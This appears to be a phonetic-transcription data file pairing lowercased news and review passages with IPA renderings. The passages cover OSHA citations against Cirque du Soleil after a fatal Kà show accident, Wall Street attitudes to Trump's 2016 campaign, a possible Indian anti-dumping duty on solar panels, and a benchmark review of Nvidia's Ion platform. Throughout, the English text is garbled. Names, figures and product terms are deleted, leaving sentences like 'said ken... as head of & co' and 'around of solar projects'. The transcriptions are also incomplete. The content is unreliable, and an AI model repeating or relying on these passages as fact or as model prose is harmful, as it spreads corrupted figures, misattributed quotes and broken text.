ˈɔlsoʊ ˌriˈpɔrtəd ðət sərk də soʊˈleɪl wɪl bi əˈpilɪŋ ðə faɪn: ɪn ə ˈsteɪtmənt ðət ˈɔlsoʊ ˈrɛfərənst ˌɪnˈtərnəl ˌrivˈju əv ðə ˈɪnsədənt, [sərk də soʊˈleɪl ˈspoʊksˌwʊmən mɪˈnɑrd] sɛd: də soʊˈleɪl kəmˈplitɪd ən ɪgˈzɔstɪv ˌrivˈju əv ɪts ˈseɪfti ˈpɑləsiz ənd prəˈsiʤərz ɪn ðə weɪk əv ðə ˈtræʤɪk ˈæksədənt ˌɪnˈvɑlvɪŋ ˈsɛrə. wi hæv riˈdəbəld ɑr ˈɛfərts tɪ ɪnˈʃʊr ðə ˈoʊvərˌɔl ˈdɪlɪʤəns ənd ˈseɪfti əv ɑr pərˈfɔrmərz ənd kru. wi hæv rɪˈsivd ənd rivˈjud ðə ˈoʊʃə saɪˈteɪʃənz. wi hæv ˌɪˈnɪʃiˌeɪtɪd ðə əˈpil ˈprɔˌsɛs ɛz pɑrt əv ədˈmɪnɪˌstreɪtɪv ˈproʊtəˌkɔl. ˈseɪfti ˈɔlˌweɪz həz bɪn ðə tɔp praɪˈɔrəti fər sərk də soʊˈleɪl, ɪts pərˈfɔrmərz ənd kru members.”*.” ɔn ðə ˈwɛbˌsaɪt, ˈkrɪstə ˈhɑstɪtələr ˈlɪstɪd ðə saɪˈteɪʃənz ˈoʊʃə həz prəˈpoʊzd. ðeɪ ər: ˈsəməri əv ˈsaɪtɪd vaɪəˈleɪʃənz sərk də soʊˈleɪl: 1 ə ˈʤɛnərəl ˈduti saɪˈteɪʃən wɑz ˈɪʃud bɪˈkəz ðə ɪmˈplɔɪər dɪd nɑt prəˈtɛkt ər prɪˈvɛnt kɑ ɪmˈplɔɪiz frəm ˈstraɪkɪŋ ən ˈoʊvərˈhɛd grɪd ˈdʊrɪŋ ðə kɑ ʃoʊ æt ðə kɑ ˈθieɪtər. prəˈpoʊzd ˈpɛnəlti. ðə fərst pɑrt əv ðə ˈʤɛnərəl ˈduti saɪˈteɪʃən wɑz ˈɪʃud bɪˈkəz ðə ɪmˈplɔɪər dɪd nɑt prəˈvaɪd ˈprɑpər ˈtreɪnɪŋ fər ðə kɑ ˈbætəl ˈspɪrmən ˈwɔrjər ɪmˈplɔɪi ˌɪnˈvɑlvd ɪn ðə ˈæksədənt ɪn ðə juz əv ɪkˈwɪpmənt ənd tæsks juzd ɪn ðə kɑ ʃoʊ, ˈbætəl sin æt ðə kɑ ˈθieɪtər. ðə ˈsɛkənd pɑrt wɑz ˈɪʃud bɪˈkəz ðə ɪmˈplɔɪər hæd ə fɔl prəˈtɛkʃən ˈproʊˌgræm wɪθ kənˈstrəkʃən rɪkˈwaɪrmənts ðət du nɑt əˈplaɪ tɪ ˈθieɪtər ˈsɛtɪŋz bɪˈkəz ðə kɑ ˈθieɪtər ɪz ˈrɛgjəˌleɪtɪd baɪ nəˈvɑdə ˈoʊʃə ˈʤɛnərəl ˈɪndəstri ˈstændərdz. prəˈpoʊzd ˈpɛnəlti. 29 ðɪs saɪˈteɪʃən wɑz ˈɪʃud bɪˈkəz ðə ɪmˈplɔɪər dɪd nɑt ˈprɑpərli əˈsɛs ðə ˈwərkˌpleɪs fər ˈhæzərdz ðət rikˈwaɪərd ˈpərsɪnəl prəˈtɛktɪv ɪkˈwɪpmənt æt ðə kɑ ˈθieɪtər, ˌɪnˈkludɪŋ flɔrz, ˈpæθəʤənz ənd ˈəðər pəˈtɛnʃəli ˌɪnˈfɛkʃəs məˈtɪriəlz, ˌpaɪroʊˈtɛknɪk dəst ˈkliˌnəp, ənd nɑt ˈfaɪnəˌlaɪzɪŋ ə ˈhæzərd əˈsɛsmənt fər ðə pərˈfɔrmərz. prəˈpoʊzd ˈpɛnəlti. 29 ðɪs saɪˈteɪʃən wɑz ˈɪʃud bɪˈkəz ðə ɪmˈplɔɪər dɪd nɑt ˈsərtəˌfaɪ ðət ə ˈwərkˌpleɪs ˈhæzərd əˈsɛsmənt hæd bɪn pərˈfɔrmd ənd dɪd nɑt ˌɪnˈklud ðə deɪt ðə ˈhæzərd əˈsɛsmənts wər kənˈdəktəd. 0 prəˈpoʊzd ˈpɛnəlti, grupt wɪθ ðə prəˈpoʊzd saɪˈteɪʃən əˈbəv. 29 ðɪs saɪˈteɪʃən wɑz ˈɪʃud bɪˈkəz ðə ɪmˈplɔɪər dɪd nɑt ˌɪnˈklud ɔn ðə ˈoʊʃə fɔrm 300 lɔg əv ˈɪnʤəri ənd ˈɪlnəsɪz, ðə ˈɑbʤɛkt ər ˈsəbstəns ðət dɪˈrɛkli ˈɪnʤərd ər meɪd ə ˈpərsən ɪl, wɪʧ prɪˈvɛnɪd ə trɛnd æˈnælɪsɪs ənd kɛpt ðə ɪmˈplɔɪər frəm ˈrɛkəgˌnaɪzɪŋ ənd kənˈdəktɪŋ ɪmˈplɔɪi ˈtreɪnɪŋ ˌɪnˈvɑlvɪŋ rɪˈkərɪŋ ˈɪnʤəriz ɪn əˈkɔrdəns wɪθ nəˈvɑdə rɪˈvaɪzd ˈstæʧut. prəˈpoʊzd ˈpɛnəlti. nəˈvɑdə rɪˈvaɪzd ˈstæʧut ðɪs saɪˈteɪʃən wɑz ˈɪʃud bɪˈkəz ðə ɪmˈplɔɪər riˈmuvd ɪkˈwɪpmənt frəm ə fəˈtælɪti saɪt ɔn ʤun 29 ˌbiˈfɔr nəˈvɑdə ˈoʊʃə ˈɔθərˌaɪzd ðə ˌdɪsˈmæntlɪŋ ənd rɪˈmuvəl əv ðə ɪkˈwɪpmənt 38 fit əv waɪər roʊp ðət wɑz əˈtæʧt tɪ ðə ˈvɪktɪm æt ðə taɪm əv ðə ˈæksədənt). 935 prəˈpoʊzd ˈpɛnəlti. ˈɛmˈgiˈɛm grænd hoʊˈtɛl kəˈsinoʊ: ðɪs ˈʤɛnərəl ˈduti saɪˈteɪʃən wɑz ˈɪʃud bɪˈkəz ˈɛmˈgiˈɛm grænd ɪmˈplɔɪiz wər ɪkˈspoʊzd tɪ ˈhæzərdz du tɪ dɪˈfɪʃənsiz ɪn ðə sərk də soʊˈleɪl fɔl prəˈtɛkʃən ˈproʊˌgræm wɪθ kənˈstrəkʃən rɪkˈwaɪrmənts ðət du nɑt əˈplaɪ tɪ ˈθieɪtər ˈsɛtɪŋz bɪˈkəz ðə kɑ ˈθieɪtər ɪz ˈrɛgjəˌleɪtɪd baɪ nəˈvɑdə ˈoʊʃə ˈʤɛnərəl ˈɪndəstri ˈstændərdz. 29 ðɪs saɪˈteɪʃən wɑz ˈɪʃud bɪˈkəz ˈɛmˈgiˈɛm grænd ɪmˈplɔɪiz wər ɪkˈspoʊzd tɪ ˈhæzərdz du tɪ ðə dɪˈfɪʃənsiz ɪn sərk də soʊˈleɪl ˈhæzərd əˈsɛsmənts fər ðə kɑ ˈθieɪtər ðət ˌɪnˈkludɪd flɔrz, ˈpæθəʤənz ənd ˈəðər pəˈtɛnʃəli ˌɪnˈfɛkʃəs məˈtɪriəlz ənd ˌpaɪroʊˈtɛknɪk dəst ˈkliˌnəp. prəˈpoʊzd ˈpɛnəlti. 29 ðɪs saɪˈteɪʃən wɑz ˈɪʃud bɪˈkəz ˈɛmˈgiˈɛm grænd ɪmˈplɔɪiz wər ɪkˈspoʊzd tɪ ˈhæzərdz du tɪ dɪˈfɪʃənsiz ɪn ðə sərk də soʊˈleɪl ˈhæzərd əˈsɛsmənts bɪˈkəz sərk də soʊˈleɪl dɪd nɑt ˈsərtəˌfaɪ ðət ə ˈwərkˌpleɪs ˈhæzərd əˈsɛsmənt hæd bɪn pərˈfɔrmd ənd dɪd nɑt ˌɪnˈklud ðə deɪt ðə ˈhæzərd əˈsɛsmənts wər kənˈdəktəd. 0 prəˈpoʊzd ˈpɛnəlti, grupt wɪθ ðə prəˈpoʊzd saɪˈteɪʃən əˈbəv. |
donald trump has been having a rough time rounding up support from wall street, but one big financier said wednesday the real estate tycoon
will ride an wave to take the presidency.
"the country is in a desperate desire for change," said ken, a major player in the investment banking industry as head of & co. "i'm predicting that donald trump will win the election."
"we haven't elected a president sinceorge h.w. bush based on competency," added during an appearance at a bloomberg conference.
moelis didn't say whether he backs trump.
though trump over the course of his career has made plenty of friends in the banking industry, he's failed to capture a lot of high-profile endorsements. billionaire investor carl icahn, vulture capitalist wilbur ross and former ceo jack welch lead a small cadre of wall street support for the republican nominee.
the conference has seen several speakers talk politics so far, with economist glenn hubbard at columbia business school offering some additional trump support.
"directionally, he's on the playing field. mrs. clinton is not on the playing field if that field is economic growth," said hubbard, aorge w. bush administration figure tied to controversial tax cuts on dividends.
hubbard called trump "a little undisciplined" and said he should better "articulate aneral vision for growth."
wall street has poured money into democrat hillary clinton's campaign but has held off on cutting many big checks for trump. clinton has pulled in $58.5 million from the finance industry, while trump has taken in about $557,000, according to the center for responsive politics. | ˈdɑnəld trəmp həz bɪn ˈhævɪŋ ə rəf taɪm ˈraʊndɪŋ əp səˈpɔrt frəm wɔl strit, bət wən bɪg ˌfɪnənˈsir sɛd ˈwɛnzˌdeɪ ðə ril ɛˈsteɪt taɪˈkun wɪl raɪd ən weɪv tɪ teɪk ðə ˈprɛzɪdənsi. "ðə ˈkəntri ɪz ɪn ə ˈdɛspərɪt dɪˈzaɪər fər ʧeɪnʤ," sɛd kɛn, ə ˈmeɪʤər pleɪər ɪn ðə ˌɪnˈvɛstmənt ˈbæŋkɪŋ ˈɪndəstri ɛz hɛd əv koʊ. "əm prɪˈdɪktɪŋ ðət ˈdɑnəld trəmp wɪl wɪn ðə ɪˈlɛkʃən." "wi ˈhævənt ɪˈlɛktɪd ə ˈprɛzɪdənt sɪns ʤɔrʤ h.w*. bʊʃ beɪst ɔn ˈkɑmpətɪnsi," ˈædɪd ˈdʊrɪŋ ən əˈpɪrəns æt ə ˈblumbərg ˈkɑnfərəns. ˈdɪdənt seɪ ˈwɛðər hi bæks trəmp. ðoʊ trəmp ˈoʊvər ðə kɔrs əv hɪz kərɪr həz meɪd ˈplɛnti əv frɛndz ɪn ðə ˈbæŋkɪŋ ˈɪndəstri, hiz feɪld tɪ ˈkæpʧər ə lɔt əv ˌhaɪˈproʊfaɪl ɛnˈdɔrsmənts. ˌbɪljəˈnɛr ˌɪnˈvɛstər kɑrl ˈaɪkɑn, ˈvəlʧər ˈkæpətəlɪst ˈwɪlbər rɔs ənd ˈfɔrmər ˈsiˌiˈoʊ ʤæk wɛlʧ lɛd ə smɔl ˈkædri əv wɔl strit səˈpɔrt fər ðə rɪˈpəblɪkən ˌnɑməˈni. ðə ˈkɑnfərəns həz sin ˈsɛvərəl ˈspikərz tɔk ˈpɑləˌtɪks soʊ fɑr, wɪθ ɪˈkɑnəmɪst glɛn ˈhəbərd æt kəˈləmbiə ˈbɪznɪs skul ˈɔfərɪŋ səm əˈdɪʃənəl trəmp səˈpɔrt. "directionally*, hiz ɔn ðə pleɪɪŋ fild. ˈmɪsɪz. ˈklɪntən ɪz nɑt ɔn ðə pleɪɪŋ fild ɪf ðət fild ɪz ˌɛkəˈnɑmɪk groʊθ," sɛd ˈhəbərd, ə ʤɔrʤ ˈdəbəlju. bʊʃ ædˌmɪnɪˈstreɪʃən ˈfɪgjər taɪd tɪ ˌkɑntrəˈvərʃəl tæks kəts ɔn ˈdɪvɪˌdɛndz. ˈhəbərd kɔld trəmp "ə ˈlɪtəl ənˈdɪsɪplɪnd" ənd sɛd hi ʃʊd ˈbɛtər "ɑrˈtɪkjəˌleɪt ə ˈʤɛnərəl ˈvɪʒən fər groʊθ." wɔl strit həz pɔrd ˈməni ˈɪntu ˈdɛməˌkræt ˈhɪləri ˈklɪntənz kæmˈpeɪn bət həz hɛld ɔf ɔn ˈkətɪŋ ˈmɛni bɪg ʧɛks fər trəmp. ˈklɪntən həz pʊld ɪn ˈmɪljən frəm ðə ˈfaɪˌnæns ˈɪndəstri, waɪl trəmp həz ˈteɪkən ɪn əˈbaʊt əˈkɔrdɪŋ tɪ ðə ˈsɛnər fər rɪˈspɑnsɪv ˈpɑləˌtɪks. |
india’s solar power sector is staring at yet another policy intervention that could put the viability of projects in the country under question.
the modi government is expected to impose an duty (add) on imported solar panels in order to boost sales of locally made ones. this is bound to increase the costs of setting up power plants as 89% of the solar panels used in india are imported, mostly from china, taiwan, and malaysia whose products are around 10% cheaper than locally made ones.
“if the duty is is likely, very strongly it will make life easier for domestic producers (of solar panels),” said amit kumar, a partner at consulting firm pwc, who focuses on the sector. an add of, say, 25% will allow a similar hike in prices of local products, too, bringing down the homegrown firms’ losses, kumar added.
but bad news for solar power producers.
in the last few months, activity in solar energy sector has stalled. the industry is struggling with rising solar panel prices and flat power demand, while, on its part, the government held auctions for solar projects. the sector is lagging target of installing 100 (gw, or megawatts) of plants by 2022.
the add is likely to make projects even less viable. developers are already being forced to quote low tariffs to win the few available projects, risking low returns, and an increase in costs due to the duties would add even more pressure.
the
in july, the india solar manufacturers association (isma), a group of firms that make solar modules, filed a petition with the government to probe solar cell and module imports. typically, the government takes around a year to duties if such pleas. it may also choose to impose a provisional duty while the probe is on. in the past, such provisional duties have been brought in around seven months after a petition is filed, according to renewable energy consultancy firm bridge to india (bti). this year, such an intervention may already be around the corner.
“(there) is a very strong buzz in the industry that a duty announcement is about to come anytime now,” said in a nov. 15 report (pdf). “the government is under pressure about the poor state of (directorate general of & allied duty) and the ministry of finance are sympathetic to the case, it is certainly possible that a provisional or duty may be imposed imminently.”
buyer’s drought
a hefty add could potentially leave power producers without enough buyers. “if the duty is very sharp, the tariff will go up very sharply (distribution companies) will not buy the power. then the solar sector will come down dramatically,” said sunil jain, ceo of hero future energies, a renewable power producer with 500 of installed capacity. it is unclear whether the have the appetite for expensive power, kumar added.
as of sept. 30, around of solar projects were in the pipeline, according to, and they could be by the provisional duty or add. even projects yet to be auctioned and assigned to power as per’s be hit. | india’s* ˈsoʊlər paʊər ˈsɛktər ɪz ˈstɛrɪŋ æt jɛt əˈnəðər ˈpɑləsi ˌɪntərˈvɛnʃən ðət kʊd pʊt ðə vaɪəˈbɪləti əv ˈprɑʤɛkts ɪn ðə ˈkəntri ˈəndər kˈwɛʃən. ðə ˈmoʊdi ˈgəvərnmənt ɪz ɪkˈspɛktɪd tɪ ˌɪmˈpoʊz ən ˈduti (æd) ɔn ˌɪmˈpɔrtɪd ˈsoʊlər ˈpænəlz ɪn ˈɔrdər tɪ bust seɪlz əv ˈloʊkəli meɪd wənz. ðɪs ɪz baʊnd tɪ ˌɪnˈkris ðə kɔsts əv ˈsɛtɪŋ əp paʊər plænts ɛz 89 əv ðə ˈsoʊlər ˈpænəlz juzd ɪn ˈɪndiə ər ˌɪmˈpɔrtɪd, ˈmoʊstli frəm ˈʧaɪnə, ˈtaɪˈwɑn, ənd məˈleɪʒə huz ˈprɑdəkts ər əraʊnd 10 ˈʧipər ðən ˈloʊkəli meɪd wənz. ðə ˈduti ɪz ɪz ˈlaɪkli, ˈvɛri ˈstrɔŋli ɪt wɪl meɪk laɪf ˈiziər fər dəˈmɛstɪk prəˈdusərz (əv ˈsoʊlər panels),”*),” sɛd ˌɑˈmit kuˈmɑr, ə ˈpɑrtnər æt kənˈsəltɪŋ fərm pwc*, hu ˈfoʊkɪsɪz ɔn ðə ˈsɛktər. ən æd əv, seɪ, 25 wɪl əˈlaʊ ə ˈsɪmələr haɪk ɪn ˈpraɪsɪz əv ˈloʊkəl ˈprɑdəkts, tu, ˈbrɪŋɪŋ daʊn ðə ˈhoʊmˈgroʊn firms’*’ ˈlɔsɪz, kuˈmɑr ˈædɪd. bət bæd nuz fər ˈsoʊlər paʊər prəˈdusərz. ɪn ðə læst fju mənθs, ækˈtɪvɪti ɪn ˈsoʊlər ˈɛnərʤi ˈsɛktər həz stɔld. ðə ˈɪndəstri ɪz ˈstrəgəlɪŋ wɪθ ˈraɪzɪŋ ˈsoʊlər ˈpænəl ˈpraɪsɪz ənd flæt paʊər dɪˈmænd, waɪl, ɔn ɪts pɑrt, ðə ˈgəvərnmənt hɛld ˈɔkʃənz fər ˈsoʊlər ˈprɑʤɛkts. ðə ˈsɛktər ɪz ˈlægɪŋ ˈtərgət əv ˌɪnˈstɔlɪŋ 100 (gw*, ər ˈmɛgəˌwɑts) əv plænts baɪ 2022 ðə æd ɪz ˈlaɪkli tɪ meɪk ˈprɑʤɛkts ˈivɪn lɛs ˈvaɪəbəl. dɪˈvɛləpərz ər ɔˈrɛdi biɪŋ fɔrst tɪ kwoʊt loʊ ˈtɛrəfs tɪ wɪn ðə fju əˈveɪləbəl ˈprɑʤɛkts, ˈrɪskɪŋ loʊ rɪˈtərnz, ənd ən ˌɪnˈkris ɪn kɔsts du tɪ ðə ˈdutiz wʊd æd ˈivɪn mɔr ˈprɛʃər. ðə ɪn ˌʤuˈlaɪ, ðə ˈɪndiə ˈsoʊlər ˌmænjəˈfækʧərərz əˌsoʊʃiˈeɪʃən (isma*), ə grup əv fərmz ðət meɪk ˈsoʊlər ˈmɑʤulz, faɪld ə pəˈtɪʃən wɪθ ðə ˈgəvərnmənt tɪ proʊb ˈsoʊlər sɛl ənd ˈmɑʤul ˌɪmˈpɔrts. ˈtɪpɪkəli, ðə ˈgəvərnmənt teɪks əraʊnd ə jɪr tɪ ˈdutiz ɪf səʧ pliz. ɪt meɪ ˈɔlsoʊ ʧuz tɪ ˌɪmˈpoʊz ə prəˈvɪʒənəl ˈduti waɪl ðə proʊb ɪz ɔn. ɪn ðə pæst, səʧ prəˈvɪʒənəl ˈdutiz hæv bɪn brɔt ɪn əraʊnd ˈsɛvən mənθs ˈæftər ə pəˈtɪʃən ɪz faɪld, əˈkɔrdɪŋ tɪ riˈnuəbəl ˈɛnərʤi kənˈsəltənsi fərm brɪʤ tɪ ˈɪndiə (bti*). ðɪs jɪr, səʧ ən ˌɪntərˈvɛnʃən meɪ ɔˈrɛdi bi əraʊnd ðə ˈkɔrnər. “(“(there*) ɪz ə ˈvɛri strɔŋ bəz ɪn ðə ˈɪndəstri ðət ə ˈduti əˈnaʊnsmɛnt ɪz əˈbaʊt tɪ kəm ˈɛniˌtaɪm now,”*,” sɛd ɪn ə noʊv. 15 rɪˈpɔrt (pdf*). ˈgəvərnmənt ɪz ˈəndər ˈprɛʃər əˈbaʊt ðə pur steɪt əv (dɪˈrɛktərət ˈʤɛnərəl əv ˈæˌlaɪd ˈduti) ənd ðə ˈmɪnɪstri əv ˈfaɪˌnæns ər ˌsɪmpəˈθɛtɪk tɪ ðə keɪs, ɪt ɪz ˈsərtənli ˈpɑsəbəl ðət ə prəˈvɪʒənəl ər ˈduti meɪ bi ˌɪmˈpoʊzd imminently.”*.” draʊt ə ˈhɛfti æd kʊd pəˈtɛnʃəli liv paʊər prəˈdusərz wɪˈθaʊt ɪˈnəf baɪərz. ðə ˈduti ɪz ˈvɛri ʃɑrp, ðə ˈtɛrəf wɪl goʊ əp ˈvɛri ˈʃɑrpli (ˌdɪstrəˈbjuʃən ˈkəmpəˌniz) wɪl nɑt baɪ ðə paʊər. ðɛn ðə ˈsoʊlər ˈsɛktər wɪl kəm daʊn dramatically,”*,” sɛd suˈnɪl ʤeɪn, ˈsiˌiˈoʊ əv ˈhɪroʊ fˈjuʧər ˈɛnərʤiz, ə riˈnuəbəl paʊər prəˈdusər wɪθ 500 əv ˌɪnˈstɔld kəˈpæsɪti. ɪt ɪz ənˈklɪr ˈwɛðər ðə hæv ðə ˈæpəˌtaɪt fər ɪkˈspɛnsɪv paʊər, kuˈmɑr ˈædɪd. ɛz əv sɛpt. 30 əraʊnd əv ˈsoʊlər ˈprɑʤɛkts wər ɪn ðə ˈpaɪˌplaɪn, əˈkɔrdɪŋ tɪ, ənd ðeɪ kʊd bi baɪ ðə prəˈvɪʒənəl ˈduti ər æd. ˈivɪn ˈprɑʤɛkts jɛt tɪ bi ˈɔkʃənd ənd əˈsaɪnd tɪ paʊər ɛz pər bi hɪt. |
i called it an ugly looking reference machine. so came back and painted it white. it worked for apple after all, right?
perhaps eight years ago.
as much as i can appreciate beauty, what truly matters here is on the inside and what gave me the opportunity to do over this past week. if you already seen it, what talking about is’s ion reference platform. in a nutshell atom processor paired with’s.
i first brought you news of ion in the middle of december 2008. it was delivered in the ugly box mentioned above. it seemed cool, it worked, but i only spent a few hours with it and able to benchmark it.
our next encounter was at. called me up to its hotel room and offered the opportunity to benchmark an overly ion box against a standard boasting a much lighter config. that work out so well.
this time shipped me a system, now in white. and i could do whatever i wanted with it.
it take a visionary to see why ion would be great. take a standard atom system and give it a modern with better graphics and got ion. performance goes up, happy. of course nice to be able to quantify the performance advantage which is what be doing today, but for all intents and purposes known that ion is a good thing.
the need for ion
currently most atom based desktops and notebooks use. the before and - heck, even before - released back in 2005. it features 950 graphics core, hardly high performance even by standards. a two chip solution built on a process and uses for all south functions.
the problem with is that old, slow, and it takes up a lot of space. the aging only supports and generally only gets a single channel of memory on mosts/notebooks/desktops. the’s performance terrible but a bit bandwidth constrained. the combination of the atom, 945 gmch, and chips takes up quite a bit of real estate. while acceptable on a desktop, it is a bit cramped in a.
standard atx (left) vs. ion (right)
intel offers a more compact alternative in the form of the, but that really address the graphics performance issue.
the ion
nvidia’s ion comes in as an alternative solution. the is a single chip, the other chip is the atom, and the two make up ion. you get a modern memory controller as well, supporting both and memory (up to-1066). graphics performance is better than intel and you get full video decode support.
the cost of ion
i asked what is required for an to develop an ion based system. responded by saying that the only thing necessary is that the purchase a; there are no required platforms or anything like that. the ion reference pc is nothing more than a reference, and it need to be followed.
there are a few dozen ion reference platforms out in the hands ofs and decision makers in the industry. expects ion to add between $50 and $100 to the cost of a typical atom machine.
availability is still slated for sometime in 2009, with some systems slated to arrive this summer.
the test
unlike the ion comparison, i leveled the playing field. sent a fully configured ion reference box with of-1066 and a intel atom 330 running at 1.6ghz.
i purchased an intelclf2 from for less than $60 (open box). this is a with a single slot and an atom 330. i installed a in the board and created a comparable machine to the ion reference platform.
i used an intel so you can compare the numbers from this review to other in our benchmark database.
in the gaming tests i used a 9300 and paired it up with a celeron 430 to show what a faster could get you with the same graphics used on an ion platform. i tested with both single and dual channel-800 memory configurations here, and the 9300 to the speeds. | aɪ kɔld ɪt ən ˈəgli ˈlʊkɪŋ ˈrɛfərəns məˈʃin. soʊ keɪm bæk ənd ˈpeɪnɪd ɪt waɪt. ɪt wərkt fər ˈæpəl ˈæftər ɔl, raɪt? pərˈhæps eɪt jɪrz əˈgoʊ. ɛz məʧ ɛz aɪ kən əˈpriʃiˌeɪt ˈbjuti, wət ˈtruli ˈmætərz hir ɪz ɔn ðə ˌɪnˈsaɪd ənd wət geɪv mi ðə ˌɑpərˈtunəti tɪ du ˈoʊvər ðɪs pæst wik. ɪf ju ɔˈrɛdi sin ɪt, wət ˈtɔkɪŋ əˈbaʊt ɪz aɪən ˈrɛfərəns ˈplætˌfɔrm. ɪn ə ˈnətˌʃɛl ˈætəm ˈprɑˌsɛsər pɛrd wɪθ. aɪ fərst brɔt ju nuz əv aɪən ɪn ðə ˈmɪdəl əv dɪˈsɛmbər 2008 ɪt wɑz dɪˈlɪvərd ɪn ðə ˈəgli bɑks ˈmɛnʃənd əˈbəv. ɪt simd kul, ɪt wərkt, bət aɪ ˈoʊnli spɛnt ə fju aʊərz wɪθ ɪt ənd ˈeɪbəl tɪ ˈbɛnʧˌmɑrk ɪt. ɑr nɛkst ɪnˈkaʊnər wɑz æt. kɔld mi əp tɪ ɪts hoʊˈtɛl rum ənd ˈɔfərd ðə ˌɑpərˈtunəti tɪ ˈbɛnʧˌmɑrk ən ˈoʊvərli aɪən bɑks əˈgɛnst ə ˈstændərd ˈboʊstɪŋ ə məʧ ˈlaɪtər config*. ðət wərk aʊt soʊ wɛl. ðɪs taɪm ʃɪpt mi ə ˈsɪstəm, naʊ ɪn waɪt. ənd aɪ kʊd du ˌwəˈtɛvər aɪ ˈwɔntɪd wɪθ ɪt. ɪt teɪk ə ˈvɪʒəˌnɛri tɪ si waɪ aɪən wʊd bi greɪt. teɪk ə ˈstændərd ˈætəm ˈsɪstəm ənd gɪv ɪt ə ˈmɑdərn wɪθ ˈbɛtər ˈgræfɪks ənd gɑt aɪən. pərˈfɔrməns goʊz əp, ˈhæpi. əv kɔrs nis tɪ bi ˈeɪbəl tɪ kˈwɑntɪˌfaɪ ðə pərˈfɔrməns ædˈvæntɪʤ wɪʧ ɪz wət bi duɪŋ təˈdeɪ, bət fər ɔl ˌɪnˈtɛnts ənd ˈpərpəsɪz noʊn ðət aɪən ɪz ə gʊd θɪŋ. ðə nid fər aɪən ˈkərəntli moʊst ˈætəm beɪst ˈdɛskˌtɑps ənd ˈnoʊtˌbʊks juz. ðə ˌbiˈfɔr ənd hɛk, ˈivɪn ˌbiˈfɔr riˈlist bæk ɪn 2005 ɪt ˈfiʧərz 950 ˈgræfɪks kɔr, ˈhɑrdli haɪ pərˈfɔrməns ˈivɪn baɪ ˈstændərdz. ə tu ʧɪp səˈluʃən bɪlt ɔn ə ˈprɔˌsɛs ənd ˈjuzɪz fər ɔl saʊθ ˈfəŋkʃənz. ðə ˈprɑbləm wɪθ ɪz ðət oʊld, sloʊ, ənd ɪt teɪks əp ə lɔt əv speɪs. ðə ˈeɪʤɪŋ ˈoʊnli səˈpɔrts ənd ˈʤɛnərəli ˈoʊnli gɪts ə ˈsɪŋgəl ˈʧænəl əv ˈmɛməri ɔn moʊst netbooks/notebooks/desktops*. ðə pərˈfɔrməns ˈtɛrəbəl bət ə bɪt ˈbændwɪdθ kənˈstreɪnd. ðə ˌkɑmbəˈneɪʃən əv ðə ˈætəm, 945 gmch*, ənd ʧɪps teɪks əp kwaɪt ə bɪt əv ril ɛˈsteɪt. waɪl əkˈsɛptəbəl ɔn ə ˈdɛskˌtɑp, ɪt ɪz ə bɪt kræmpt ɪn ə. ˈstændərd ˈeɪˈtiˈɛks (lɛft) ˈvərsəz. aɪən (raɪt) ˌɪnˈtɛl ˈɔfərz ə mɔr ˈkɑmpækt ɔlˈtərnətɪv ɪn ðə fɔrm əv ðə, bət ðət ˈrɪli ˈæˌdrɛs ðə ˈgræfɪks pərˈfɔrməns ˈɪʃu. ðə aɪən aɪən kəmz ɪn ɛz ən ɔlˈtərnətɪv səˈluʃən. ðə ɪz ə ˈsɪŋgəl ʧɪp, ðə ˈəðər ʧɪp ɪz ðə ˈætəm, ənd ðə tu meɪk əp aɪən. ju gɪt ə ˈmɑdərn ˈmɛməri kənˈtroʊlər ɛz wɛl, səˈpɔrtɪŋ boʊθ ənd ˈmɛməri (əp tɪ ˈgræfɪks pərˈfɔrməns ɪz ˈbɛtər ðən ˌɪnˈtɛl ənd ju gɪt fʊl ˈvɪdioʊ dɪˈkoʊd səˈpɔrt. ðə kɔst əv aɪən aɪ æst wət ɪz rikˈwaɪərd fər ən tɪ dɪˈvɛləp ən aɪən beɪst ˈsɪstəm. rɪˈspɑndɪd baɪ seɪɪŋ ðət ðə ˈoʊnli θɪŋ ˈnɛsəˌsɛri ɪz ðət ðə ˈpərʧəs ə; ðɛr ər noʊ rikˈwaɪərd ˈplætˌfɔrmz ər ˈɛniˌθɪŋ laɪk ðət. ðə aɪən ˈrɛfərəns ˈpiˈsi ɪz ˈnəθɪŋ mɔr ðən ə ˈrɛfərəns, ənd ɪt nid tɪ bi ˈfɑloʊd. ðɛr ər ə fju ˈdəzən aɪən ˈrɛfərəns ˈplætˌfɔrmz aʊt ɪn ðə hænz əv ənd dɪˈsɪʒən ˈmeɪkərz ɪn ðə ˈɪndəstri. ɪkˈspɛkts aɪən tɪ æd bɪtˈwin 50 ənd 100 tɪ ðə kɔst əv ə ˈtɪpɪkəl ˈætəm məˈʃin. əˌveɪləˈbɪlɪti ɪz stɪl sˈleɪtɪd fər ˈsəmˌtaɪm ɪn 2009 wɪθ səm ˈsɪstəmz sˈleɪtɪd tɪ əraɪv ðɪs ˈsəmər. ðə tɛst ənˈlaɪk ðə aɪən kəmˈpɛrəsən, aɪ ˈlɛvəld ðə pleɪɪŋ fild. sɛnt ə ˈfʊli kənˈfɪgjərd aɪən ˈrɛfərəns bɑks wɪθ əv ənd ə ˌɪnˈtɛl ˈætəm 330 ˈrənɪŋ æt 1.6ghz*. aɪ ˈpərʧəst ən ˌɪnˈtɛl frəm fər lɛs ðən 60 (ˈoʊpən bɑks). ðɪs ɪz ə wɪθ ə ˈsɪŋgəl slɑt ənd ən ˈætəm 330 aɪ ˌɪnˈstɔld ə ɪn ðə bɔrd ənd kriˈeɪtɪd ə ˈkɑmprəbəl məˈʃin tɪ ðə aɪən ˈrɛfərəns ˈplætˌfɔrm. aɪ juzd ən ˌɪnˈtɛl soʊ ju kən kəmˈpɛr ðə ˈnəmbərz frəm ðɪs ˌrivˈju tɪ ˈəðər ɪn ɑr ˈbɛnʧˌmɑrk ˈdætəˌbeɪs. ɪn ðə ˈgeɪmɪŋ tɛsts aɪ juzd ə 9300 ənd pɛrd ɪt əp wɪθ ə ˈsɛlərɑn 430 tɪ ʃoʊ wət ə ˈfæstər kʊd gɪt ju wɪθ ðə seɪm ˈgræfɪks juzd ɔn ən aɪən ˈplætˌfɔrm. aɪ ˈtɛstɪd wɪθ boʊθ ˈsɪŋgəl ənd duəl ˈʧænəl ˈmɛməri kənˌfɪgjərˈeɪʃənz hir, ənd ðə 9300 tɪ ðə spidz. |
